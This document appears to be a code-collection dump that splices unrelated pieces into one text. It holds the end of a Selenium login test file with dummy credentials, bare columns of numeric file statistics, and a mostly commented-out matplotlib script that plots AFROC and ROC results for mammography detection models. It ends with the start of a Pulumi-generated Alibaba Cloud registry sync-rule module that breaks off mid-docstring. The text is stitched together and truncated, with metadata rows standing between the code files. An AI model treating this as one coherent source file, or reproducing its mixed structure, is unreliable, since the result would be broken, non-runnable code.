self.type("#email", 'test@test.com')
# enter password
self.type("#password", "aaaaa1$A")
# try submit form
self.click("input[type='submit']")
self.open(base_url)
# validate that we are logged in (ie we can see the welcome header
# and our name)
self.assert_element("#welcome-header")
self.assert_text("Hi testuser !")
# test that valid passwords work
@patch('qa327.backend.get_user', return_value=testuser5)
def test_r1_post_4_6_2(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "test@test.com")
# enter password
self.type("#password", "abct)432A")
# try submit form
self.click("input[type='submit']")
self.open(base_url)
# validate that we are logged in (ie we can see the welcome header
# and our name)
self.assert_element("#welcome-header")
self.assert_text("Hi testuser !")
# test that redirected to / with valid email pw
@patch('qa327.backend.get_user', return_value=test_user)
def test_r1_post_6(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter user name and password
self.type("#email", "test_frontend@test.com")
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
# check that we are on / now
self.assertEqual(self.get_current_url(), base_url+'/')
# incorrect passwoord
@patch('qa327.backend.get_user', return_value=test_user)
def test_r1_post_7_1(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "test_frontend@test.com")
# enter password but no name
self.type("#password", "Password1$")
# try submit form
self.click("input[type='submit']")
# should be incorrect combo
self.assert_element("#message")
self.assert_text("Email/password combination incorrect")
# incorrect email
@patch('qa327.backend.get_user', return_value=test_user)
def test_r1_post_7_2(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "test_user@wrong.com")
# enter password
self.type("#password", "test_frontendA1$")
# try submit form
self.click("input[type='submit']")
# should be incorrect combo
self.assert_element("#message")
self.assert_text("Email/password combination incorrect")
# incorrect email and password
@patch('qa327.backend.get_user', return_value=test_user)
def test_r1_post_7_3(self, *_):
# logout if logged in
self.open(base_url + '/logout')
# open login page
self.open(base_url +'/login')
# enter email
self.type("#email", "wrong@wrong.com")
# enter password
self.type("#password", "Wrrrr0ng!")
# try submit form
self.click("input[type='submit']")
# should be incorrect combo
self.assert_element("#message")
self.assert_text("Email/password combination incorrect")
| 35.994924
| 169
| 0.598928
| 1,743
| 14,182
| 4.720023
| 0.082042
| 0.042543
| 0.070013
| 0.087517
| 0.883433
| 0.867631
| 0.849277
| 0.832017
| 0.818889
| 0.818889
| 0
| 0.027919
| 0.277676
| 14,182
| 393
| 170
| 36.086514
| 0.775185
| 0.228388
| 0
| 0.686916
| 1
| 0
| 0.278977
| 0.05031
| 0
| 0
| 0
| 0
| 0.191589
| 1
| 0.098131
| false
| 0.186916
| 0.028037
| 0
| 0.130841
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
335867b2db48d184fb85d02c7fe6231c4b53eb15
| 16,914
|
py
|
Python
|
misc/plot.py
|
gbegkas/Detectron
|
8d53dcdc2d1282938636f8dd45859101214730ff
|
[
"Apache-2.0"
] | null | null | null |
misc/plot.py
|
gbegkas/Detectron
|
8d53dcdc2d1282938636f8dd45859101214730ff
|
[
"Apache-2.0"
] | null | null | null |
misc/plot.py
|
gbegkas/Detectron
|
8d53dcdc2d1282938636f8dd45859101214730ff
|
[
"Apache-2.0"
] | null | null | null |
import os
import numpy as np
import json
from matplotlib import pyplot as plt
# from sklearn import metrics
MODELS = {
'faster50c4': 'Faster R-CNN - ResNet 50 C4',
'faster50fpn': 'Faster R-CNN - ResNet 50 FPN',
'faster101c4': 'Faster R-CNN - ResNet 101 C4',
'faster101fpn': 'Faster R-CNN - ResNet 101 FPN',
'fastervgg': 'Faster R-CNN - VGG 16',
'fasterx': 'Faster R-CNN - ResNeXt 101 32x8d FPN',
'retinanet50': 'RetinaNet - ResNet 50 FPN',
'retinanet101': 'RetinaNet - ResNet 101 FPN',
'retinanet101noaug': 'RetinaNet - ResNet 101 FPN without augmentation'
}
DATABASES = {
'cbis': 'CBIS-DDSM',
'inbreast': 'INbreast'
}
colors = ['b', 'g', 'r', 'c', 'm', 'y', 'k', 'w']
directory = os.path.join(os.getcwd(), 'Results')
froc = {'CBIS-DDSM': [],
'INbreast': []}
roc = {'CBIS-DDSM': [],
'INbreast': []}
afroc = {'CBIS-DDSM': [],
'INbreast': []}
cbis = []
inbreast = []
plt.rcParams['font.family'] = 'Linux Libertine O'
#
# for root, _, files in os.walk(directory):
# split = os.path.split(root)
# database = split[-1]
# model = os.path.split(split[-2])[-1]
# for file in files:
# if '.json' and 'RESULTS' in file:
# iter = []
# afroc = []
# with open(os.path.join(root, file), 'r') as fp:
# data = json.load(fp)
#
# if 'CBIS' in file:
# for key in data.keys():
# iter.append(int(key))
# afroc.append(data[key]['CBIS_DDSM_val']['box']['AFROC'])
# cbis.append([MODELS[database], (iter, afroc)])
# elif 'INbreast' in file:
# for key in data.keys():
# iter.append(int(key))
# afroc.append(data[key]['INbreast_test']['box']['AFROC'])
# inbreast.append([MODELS[database], (iter, afroc)])
# pass
#
# plt.rcParams['font.family'] = 'Linux Libertine O'
# plt.rcParams['font.size'] = 12
#
# plt.axes(xlim=(0, 200100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
#
# for data in cbis:
# plt.axes(xlim=(0, 200100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'Faster' in data[0] and 'ResNet 50' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('r50val-cbis.pdf')
# plt.show()
# for data in cbis:
# plt.axes(xlim=(0, 200100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'Faster' in data[0] and 'ResNet 101' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('r101val-cbis.pdf')
# plt.show()
#
# for data in cbis:
# plt.axes(xlim=(0, 200100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'Faster' in data[0] and 'C4' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('C4val-cbis.pdf')
# plt.show()
#
# for data in cbis:
# plt.axes(xlim=(0, 200100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'Faster' in data[0] and 'FPN' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('FPNval-cbis.pdf')
# plt.show()
#
# for data in cbis:
# plt.axes(xlim=(0, 200100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'RetinaNet' in data[0] and 'augmentation' not in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('retinaval-cbis.pdf')
# plt.show()
#
# for data in cbis:
# plt.axes(xlim=(0, 200100), ylim=(0.5, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'RetinaNet' in data[0] and '101' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('ret101val-cbis.pdf')
# plt.show()
#
# for data in inbreast:
# plt.axes(xlim=(0, 100100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'Faster' in data[0] and 'ResNet 50' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('r50val-inbreast.pdf')
# plt.show()
# for data in inbreast:
# plt.axes(xlim=(0, 100100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'Faster' in data[0] and 'ResNet 101' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('r101val-inbreast.pdf')
# plt.show()
#
# for data in inbreast:
# plt.axes(xlim=(0, 100100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'Faster' in data[0] and 'C4' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('C4val-inbreast.pdf')
# plt.show()
#
# for data in inbreast:
# plt.axes(xlim=(0, 100100), ylim=(0.7, 0.97))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'Faster' in data[0] and 'FPN' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('FPNval-inbreast.pdf')
# plt.show()
#
# for data in inbreast:
# plt.axes(xlim=(0, 100100), ylim=(0.7, 0.99))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'RetinaNet' in data[0] and 'augmentation' not in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('retinaval-inbreast.pdf')
# plt.show()
#
# for data in inbreast:
# plt.axes(xlim=(0, 100100), ylim=(0.5, 0.99))
# plt.xlabel('Iteration')
# plt.ylabel('AFROC')
# if 'RetinaNet' in data[0] and '101' in data[0]:
# plt.plot(data[1][0], data[1][1], label=data[0])
#
# plt.legend(loc='lower right')
# plt.savefig('ret101val-inbreast.pdf')
# plt.show()
# plt.plot(data[1], data[0], label=file[:-4] + ' AUC: ' + "{0:.4f}".format(auc))
# plt.margins(x=0.01)
# plt.legend(loc='lower right')
#
# plt.savefig('val-cbis.pdf')
# plt.show()
# for root, _, files in os.walk(directory):
# split = os.path.split(root)
# database = split[-1]
# model = os.path.split(split[-2])[-1]
# for file in files:
# if '.npy' in file:
# if 'froc' in file:
# froc[DATABASES[database]].append([MODELS[model], np.load(os.path.join(root, file))])
# else:
# roc[DATABASES[database]].append([MODELS[model], np.load(os.path.join(root, file))])
# pass
#
# plt.rcParams['font.family'] = 'Linux Libertine O'
# plt.rcParams['font.size'] = 12
#
# plt.axes(xlim=(0, 210), ylim=(0, 1.02))
# plt.xlabel('False Positive per Image')
# plt.ylabel('True Positive Rate')
#
# for data in froc['CBIS-DDSM']:
# plt.plot(data[1][1], data[1][0], label=data[0])
#
# # plt.plot(data[1], data[0], label=file[:-4] + ' AUC: ' + "{0:.4f}".format(auc))
# # plt.margins(x=0.01)
# plt.legend(loc='lower right')
#
# plt.savefig('froc-cbis.pdf')
# plt.show()
#
# plt.axes(xlim=(0, 350), ylim=(0, 1.02))
# plt.xlabel('False Positive per Image')
# plt.ylabel('True Positive Rate')
#
# for data in froc['INbreast']:
# plt.plot(data[1][1], data[1][0], label=data[0])
#
# # plt.plot(data[1], data[0], label=file[:-4] + ' AUC: ' + "{0:.4f}".format(auc))
# # plt.margins(x=0.01)
# plt.legend(loc='lower right')
#
# plt.savefig('froc-inbreast.pdf')
# plt.show()
#
#
# plt.axes(xlim=(0, 1), ylim=(0, 1.02))
# plt.xlabel('False Positive Rate')
# plt.ylabel('True Positive Rate')
#
# for data in froc['CBIS-DDSM']:
# plt.plot(data[1][2], data[1][0], label=data[0] + ' AUC: {0:.4f}'.format(metrics.auc(data[1][2], data[1][0])))
#
# # plt.plot(data[1], data[0], label=file[:-4] + ' AUC: ' + "{0:.4f}".format(auc))
# # plt.margins(x=0.01)
# plt.legend(loc='lower right')
#
# plt.savefig('afroc-cbis.pdf')
# plt.show()
#
# plt.axes(xlim=(0, 1), ylim=(0, 1.02))
# plt.xlabel('False Positive Rate')
# plt.ylabel('True Positive Rate')
#
# for data in froc['INbreast']:
# plt.plot(data[1][2], data[1][0], label=data[0] + ' AUC: {0:.4f}'.format(metrics.auc(data[1][2], data[1][0])))
#
# # plt.plot(data[1], data[0], label=file[:-4] + ' AUC: ' + "{0:.4f}".format(auc))
# # plt.margins(x=0.01)
# plt.legend(loc='lower right')
#
# plt.savefig('afroc-inbreast.pdf')
# plt.show()
#
#
# plt.axes(xlim=(0, 1), ylim=(0, 1.02))
# plt.xlabel('False Positive Rate')
# plt.ylabel('True Positive Rate')
#
# for data in roc['CBIS-DDSM']:
# plt.plot(data[1][0], data[1][1], label=data[0] + ' AUC: {0:.4f}'.format(metrics.auc(data[1][0], data[1][1])))
#
# # plt.plot(data[1], data[0], label=file[:-4] + ' AUC: ' + "{0:.4f}".format(auc))
# # plt.margins(x=0.01)
# plt.legend(loc='lower right')
#
# plt.savefig('roc-cbis.pdf')
# plt.show()
#
# plt.axes(xlim=(0, 1), ylim=(0, 1.02))
# plt.xlabel('False Positive Rate')
# plt.ylabel('True Positive Rate')
#
# for data in roc['INbreast']:
# plt.plot(data[1][0], data[1][1], label=data[0] + ' AUC: {0:.4f}'.format(metrics.auc(data[1][0], data[1][1])))
#
# # plt.plot(data[1], data[0], label=file[:-4] + ' AUC: ' + "{0:.4f}".format(auc))
# # plt.margins(x=0.01)
# plt.legend(loc='lower right')
#
# plt.savefig('roc-inbreast.pdf')
# plt.show()
# fig = plt.figure(1)
#
# plt.figure(figsize=(5.8, 5.5))
#
# plt.axes(xlim=(0, 1), ylim=(0, 1))
# plt.xticks(fontsize=15)
# plt.yticks(fontsize=15)
# plt.xlabel('False Positive Rate', fontsize=15)
# plt.ylabel('True Positive Rate', fontsize=15)
# # plt.xlabel('False Positive Rate')
# # plt.ylabel('True Positive Rate')
# plt.plot([0, 1], [0, 1], color='navy', linestyle='--')
# plt.savefig('rocspace.pdf')
# plt.show()
#
# fig = plt.figure(1)
#
# plt.figure(figsize=(5.8, 5.5))
#
# plt.axes(xlim=(-0.008, 1), ylim=(0, 1.008))
# plt.xticks(fontsize=15)
# plt.yticks(fontsize=15)
# plt.xlabel('False Positive Rate', fontsize=15)
# plt.ylabel('True Positive Rate', fontsize=15)
# # plt.xlabel('False Positive Rate')
# # plt.ylabel('True Positive Rate')
# plt.plot([0, 1], [0, 1], color='navy', linestyle='--')
# plt.plot([0, 0, 1], [0, 1, 1], lw=2, color='darkorange', label='ROC curve (area = %0.1f)' %np.trapz([0, 1, 1], [0, 0, 1]))
# plt.fill_between([0, 0, 1], [0, 1, 1], color=(0.4, 0.4, 0.4, 0.2))
# plt.legend(loc='lower right', fontsize=14)
# plt.savefig('perfroc.pdf')
# plt.show()
#
#
#
# data = np.load('/mnt/Cargo_2/Sync/Πανεπιστημιο/Diploma Thesis/Python Scripts/Results/retinanet101/inbreast/roc_retinanet_INbreast_test.npy')
#
# plt.figure(figsize=(5.8, 5.5))
#
# plt.axes(xlim=(0, 1), ylim=(0, 1.02))
# plt.xticks(fontsize=15)
# plt.yticks(fontsize=15)
# plt.xlabel('False Positive Rate', fontsize=15)
# plt.ylabel('True Positive Rate', fontsize=15)
#
# plt.fill_between(data[0], data[1], color=(0.4, 0.4, 0.4, 0.2))
#
# plt.plot(data[0], data[1], color='darkorange', label='ROC curve (area = %0.4f)' %np.trapz(data[1], data[0]))
#
# plt.plot([0, 1], [0, 1], color='navy', linestyle='--')
#
# plt.legend(loc="lower right", fontsize=14)
# plt.savefig('rocexample.pdf')
# plt.show()
# plt.rcParams['mathtext.fontset'] = 'cm'
# plt.figure(figsize=(5,5))
# plt.axis('off')
# plt.axes().set_aspect('equal')
# plt.plot([3,3,5,5,3], [4,6.1,6.1,4,4], lw=4)
# plt.plot([3.1,3.1,6,6,3.1], [3,6,6,3,3], lw=4)
# plt.savefig('piou.pdf')
# plt.show()
# #
# plt.figure(figsize=(5,5))
# plt.axis('off')
# plt.axes().set_aspect('equal')
# plt.plot([3,3,6,6,3], [3.05,6.05,6.05,3.05,3.05], lw=4)
# plt.plot([3.05,3.05,6.05,6.05,3.05], [3,6,6,3,3], lw=4)
# plt.savefig('eiou.pdf')
# plt.show()
#
# plt.figure(figsize=(5,5))
# plt.axis('off')
# plt.axes().set_aspect('equal')
# plt.plot([3,3,6,6,3], [3.2,6.2,6.2,3.2,3.2], lw=4)
# plt.plot([3.2,3.2,6.2,6.2,3.2], [3,6,6,3,3], lw=4)
# plt.savefig('giou.pdf')
# plt.show()
# plt.figure(figsize=(5,5))
# plt.axis('off')
# plt.axes().set_aspect('equal')
# plt.plot([3,3,5,5,3], [4,6,6,4,4], lw=4)
# plt.plot([4,4,6,6,4], [3,5,5,3,3], lw=4, c='#1f77b4')
# plt.fill([4,4,5,5,4], [4,5,5,4,4])
# plt.savefig('iou.pdf')
# plt.show()
# plt.figure(figsize=(5,5))
# plt.axis('off')
# plt.axes().set_aspect('equal')
# plt.plot([3,3,5,5,3], [4,6,6,4,4], lw=4)
# plt.plot([4,4,6,6,4], [3,5,5,3,3], lw=4, c='#1f77b4')
# plt.fill([3,3,5,5,6,6,4,4,3], [4,6,6,5,5,3,3,4,4])
# plt.savefig('area.pdf')
# plt.show()
# data = np.load('/mnt/Cargo_2/Sync/Πανεπιστημιο/Diploma Thesis/Python Scripts/Results/retinanet101/inbreast/froc_retinanet_INbreast_test.npy')
#
# plt.figure(figsize=(5.8, 5.5))
#
# plt.axes(xlim=(0, 140), ylim=(0, 1.02))
# plt.xticks(fontsize=15)
# plt.yticks(fontsize=15)
# plt.xlabel('False Positive per Image', fontsize=15)
# plt.ylabel('True Positive Rate', fontsize=15)
#
# # plt.fill_between(data[1], data[0], color=(0.4, 0.4, 0.4, 0.2))
#
# plt.plot(data[1], data[0], color='darkorange', lw=2, label='ROC curve (area = %0.4f)' %np.trapz(data[0], data[1]))
#
# # plt.plot([0, 1], [0, 1], color='navy', linestyle='--')
#
# # plt.legend(loc="lower right", fontsize=14)
# plt.savefig('frocexample.pdf')
# plt.show()
#
# plt.figure(figsize=(5.8, 5.5))
#
# plt.axes(xlim=(0, 1), ylim=(0, 1.02))
# plt.xticks(fontsize=15)
# plt.yticks(fontsize=15)
# plt.xlabel('False Positive Rate', fontsize=15)
# plt.ylabel('True Positive Rate', fontsize=15)
#
# # plt.fill_between(data[1], data[0], color=(0.4, 0.4, 0.4, 0.2))
#
# plt.plot(data[2], data[0], color='darkorange', lw=2, label='ROC curve (area = %0.4f)' %np.trapz(data[0], data[2]))
#
# plt.plot([0, 1], [0, 1], color='navy', linestyle='--')
#
# plt.legend(loc="lower right", fontsize=14)
# plt.savefig('afrocexample.pdf')
# plt.show()
# afroc = []
#
# for root, _, files in os.walk(directory):
# split = os.path.split(root)
# model = split[-1]
# # model = os.path.split(split[-2])[-1]
# for file in files:
# if 'noaug' in root:
# continue
# if '.json' in file:
# if 'CBIS' in file:
# database = 'CBIS-DDSM'
# elif 'INbreast' in file:
# database = 'INbreast'
# if 'RESULTS' in file:
# with open(os.path.join(root, file), 'r') as f:
# afroc[database].append([MODELS[model], json.load(f)])
#
# pass
#
# afroc_c = []
# afroc_i = []
# # x = []
# # models = []
# # auc = []
#
# data = {}
#
# for dataset in afroc.keys():
# models = []
# for i, model in enumerate(afroc[dataset]):
# name = afroc[database][i][0]
# auc = []
# x = []
# for iter in afroc[dataset][i][1].keys():
# x.append(int(iter))
# if 'CBIS' in dataset:
# auc.append(afroc[dataset][i][1][iter]['CBIS_DDSM_val']['box']['AFROC'])
# elif 'INbreast' in dataset:
# auc.append(afroc[dataset][i][1][iter]['INbreast_test']['box']['AFROC'])
# models.append([name, (x, auc)])
# data[dataset] = models
#
#
# plt.rcParams['font.family'] = 'Linux Libertine O'
# plt.rcParams['font.size'] = 12
#
# plt.axes(xlim=(0, 205000), ylim=(0, 1.02))
# plt.xlabel('Iterations')
# plt.ylabel('AFROC AUC')
#
# for d in data['CBIS-DDSM']:
# plt.plot(d[1][0], d[1][1], label=d[0])
#
# # plt.plot(data[1], data[0], label=file[:-4] + ' AUC: ' + "{0:.4f}".format(auc))
# # plt.margins(x=0.01)
# plt.legend(loc='lower right')
#
# plt.savefig('afroc-cbis-val.pdf')
# plt.show()
#
# plt.rcParams['font.family'] = 'Linux Libertine O'
# plt.rcParams['font.size'] = 12
# plt.axes(xlim=(0, 105000), ylim=(0, 1.02))
# plt.xlabel('Iterations')
# plt.ylabel('AFROC AUC')
# for d in data['INbreast']:
# plt.plot(d[1][0], d[1][1], label=d[0])
#
# # plt.plot(data[1], data[0], label=file[:-4] + ' AUC: ' + "{0:.4f}".format(auc))
# # plt.margins(x=0.01)
# plt.legend(loc='lower right')
#
# plt.savefig('afroc-inbreast-val.pdf')
# plt.show()
models = ['Faster RCNN R50-C4',
'Faster RCNN R50-FPN',
'Faster RCNN R101-C4',
'Faster RCNN R101-FPN',
'Faster RCNN X101-32x8d',
'Faster RCNN VGG16',
'RetinaNet R50-FPN',
'RetinaNet R101-FPN',
'RetinaNet R101-FPN w/o augm']
nf = [0.7968,
0.6787,
0.7442,
0.8025,
0.7527,
0.8288,
0.9412,
0.9254,
0.8692]
f = [0.8689,
0.9055,
0.8741,
0.9547,
0.9082,
0.8678,
0.9646,
0.9751,
0.9006]
groups = len(models)
index = np.arange(groups)
bar_width = 0.35
opacity = 1.0
# plt.subplot(113)
rects1 = plt.barh(index, nf, bar_width, alpha=opacity, label='w/o finetune')
rects2 = plt.barh(index + bar_width, f, bar_width, alpha=opacity, label='w/ finetune')
plt.ylabel('Μοντέλο')
plt.xlabel('AFROC')
plt.yticks(index + bar_width, models)
plt.legend(bbox_to_anchor=(-0.45, 0.03), loc=2, borderaxespad=0.)
plt.tight_layout()
plt.savefig('finetune.pdf')
plt.show()
| 29.725835
| 143
| 0.576682
| 2,724
| 16,914
| 3.567548
| 0.092144
| 0.030871
| 0.032929
| 0.034575
| 0.813748
| 0.78545
| 0.774954
| 0.764869
| 0.762194
| 0.731941
| 0
| 0.077972
| 0.180324
| 16,914
| 568
| 144
| 29.778169
| 0.62298
| 0.825647
| 0
| 0.042857
| 0
| 0
| 0.292383
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.057143
| 0
| 0.057143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6831ab05a9d9396fcf418a97e90557bdcc03e773
| 31,401
|
py
|
Python
|
sdk/python/pulumi_alicloud/cs/registry_enterprise_sync_rule.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 42
|
2019-03-18T06:34:37.000Z
|
2022-03-24T07:08:57.000Z
|
sdk/python/pulumi_alicloud/cs/registry_enterprise_sync_rule.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 152
|
2019-04-15T21:03:44.000Z
|
2022-03-29T18:00:57.000Z
|
sdk/python/pulumi_alicloud/cs/registry_enterprise_sync_rule.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 3
|
2020-08-26T17:30:07.000Z
|
2021-07-05T01:37:45.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['RegistryEnterpriseSyncRuleArgs', 'RegistryEnterpriseSyncRule']
@pulumi.input_type
class RegistryEnterpriseSyncRuleArgs:
def __init__(__self__, *,
instance_id: pulumi.Input[str],
namespace_name: pulumi.Input[str],
tag_filter: pulumi.Input[str],
target_instance_id: pulumi.Input[str],
target_namespace_name: pulumi.Input[str],
target_region_id: pulumi.Input[str],
name: Optional[pulumi.Input[str]] = None,
repo_name: Optional[pulumi.Input[str]] = None,
target_repo_name: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a RegistryEnterpriseSyncRule resource.
:param pulumi.Input[str] instance_id: ID of Container Registry Enterprise Edition source instance.
:param pulumi.Input[str] namespace_name: Name of Container Registry Enterprise Edition source namespace. It can contain 2 to 30 characters.
:param pulumi.Input[str] tag_filter: The regular expression used to filter image tags for synchronization in the source repository.
:param pulumi.Input[str] target_instance_id: ID of Container Registry Enterprise Edition target instance to be synchronized.
:param pulumi.Input[str] target_namespace_name: Name of Container Registry Enterprise Edition target namespace to be synchronized. It can contain 2 to 30 characters.
:param pulumi.Input[str] target_region_id: The target region to be synchronized.
:param pulumi.Input[str] name: Name of Container Registry Enterprise Edition sync rule.
:param pulumi.Input[str] repo_name: Name of the source repository which should be set together with `target_repo_name`, if empty means that the synchronization scope is the entire namespace level.
:param pulumi.Input[str] target_repo_name: Name of the target repository.
"""
pulumi.set(__self__, "instance_id", instance_id)
pulumi.set(__self__, "namespace_name", namespace_name)
pulumi.set(__self__, "tag_filter", tag_filter)
pulumi.set(__self__, "target_instance_id", target_instance_id)
pulumi.set(__self__, "target_namespace_name", target_namespace_name)
pulumi.set(__self__, "target_region_id", target_region_id)
if name is not None:
pulumi.set(__self__, "name", name)
if repo_name is not None:
pulumi.set(__self__, "repo_name", repo_name)
if target_repo_name is not None:
pulumi.set(__self__, "target_repo_name", target_repo_name)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Input[str]:
"""
ID of Container Registry Enterprise Edition source instance.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: pulumi.Input[str]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter(name="namespaceName")
def namespace_name(self) -> pulumi.Input[str]:
"""
Name of Container Registry Enterprise Edition source namespace. It can contain 2 to 30 characters.
"""
return pulumi.get(self, "namespace_name")
@namespace_name.setter
def namespace_name(self, value: pulumi.Input[str]):
pulumi.set(self, "namespace_name", value)
@property
@pulumi.getter(name="tagFilter")
def tag_filter(self) -> pulumi.Input[str]:
"""
The regular expression used to filter image tags for synchronization in the source repository.
"""
return pulumi.get(self, "tag_filter")
@tag_filter.setter
def tag_filter(self, value: pulumi.Input[str]):
pulumi.set(self, "tag_filter", value)
@property
@pulumi.getter(name="targetInstanceId")
def target_instance_id(self) -> pulumi.Input[str]:
"""
ID of Container Registry Enterprise Edition target instance to be synchronized.
"""
return pulumi.get(self, "target_instance_id")
@target_instance_id.setter
def target_instance_id(self, value: pulumi.Input[str]):
pulumi.set(self, "target_instance_id", value)
@property
@pulumi.getter(name="targetNamespaceName")
def target_namespace_name(self) -> pulumi.Input[str]:
"""
Name of Container Registry Enterprise Edition target namespace to be synchronized. It can contain 2 to 30 characters.
"""
return pulumi.get(self, "target_namespace_name")
@target_namespace_name.setter
def target_namespace_name(self, value: pulumi.Input[str]):
pulumi.set(self, "target_namespace_name", value)
@property
@pulumi.getter(name="targetRegionId")
def target_region_id(self) -> pulumi.Input[str]:
"""
The target region to be synchronized.
"""
return pulumi.get(self, "target_region_id")
@target_region_id.setter
def target_region_id(self, value: pulumi.Input[str]):
pulumi.set(self, "target_region_id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Name of Container Registry Enterprise Edition sync rule.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="repoName")
def repo_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the source repository which should be set together with `target_repo_name`, if empty means that the synchronization scope is the entire namespace level.
"""
return pulumi.get(self, "repo_name")
@repo_name.setter
def repo_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "repo_name", value)
@property
@pulumi.getter(name="targetRepoName")
def target_repo_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the target repository.
"""
return pulumi.get(self, "target_repo_name")
@target_repo_name.setter
def target_repo_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "target_repo_name", value)
@pulumi.input_type
class _RegistryEnterpriseSyncRuleState:
def __init__(__self__, *,
instance_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
namespace_name: Optional[pulumi.Input[str]] = None,
repo_name: Optional[pulumi.Input[str]] = None,
rule_id: Optional[pulumi.Input[str]] = None,
sync_direction: Optional[pulumi.Input[str]] = None,
sync_scope: Optional[pulumi.Input[str]] = None,
tag_filter: Optional[pulumi.Input[str]] = None,
target_instance_id: Optional[pulumi.Input[str]] = None,
target_namespace_name: Optional[pulumi.Input[str]] = None,
target_region_id: Optional[pulumi.Input[str]] = None,
target_repo_name: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering RegistryEnterpriseSyncRule resources.
:param pulumi.Input[str] instance_id: ID of Container Registry Enterprise Edition source instance.
:param pulumi.Input[str] name: Name of Container Registry Enterprise Edition sync rule.
:param pulumi.Input[str] namespace_name: Name of Container Registry Enterprise Edition source namespace. It can contain 2 to 30 characters.
:param pulumi.Input[str] repo_name: Name of the source repository which should be set together with `target_repo_name`, if empty means that the synchronization scope is the entire namespace level.
:param pulumi.Input[str] rule_id: The uuid of Container Registry Enterprise Edition sync rule.
:param pulumi.Input[str] sync_direction: `FROM` or `TO`, the direction of synchronization. `FROM` means source instance, `TO` means target instance.
:param pulumi.Input[str] sync_scope: `REPO` or `NAMESPACE`,the scope that the synchronization rule applies.
:param pulumi.Input[str] tag_filter: The regular expression used to filter image tags for synchronization in the source repository.
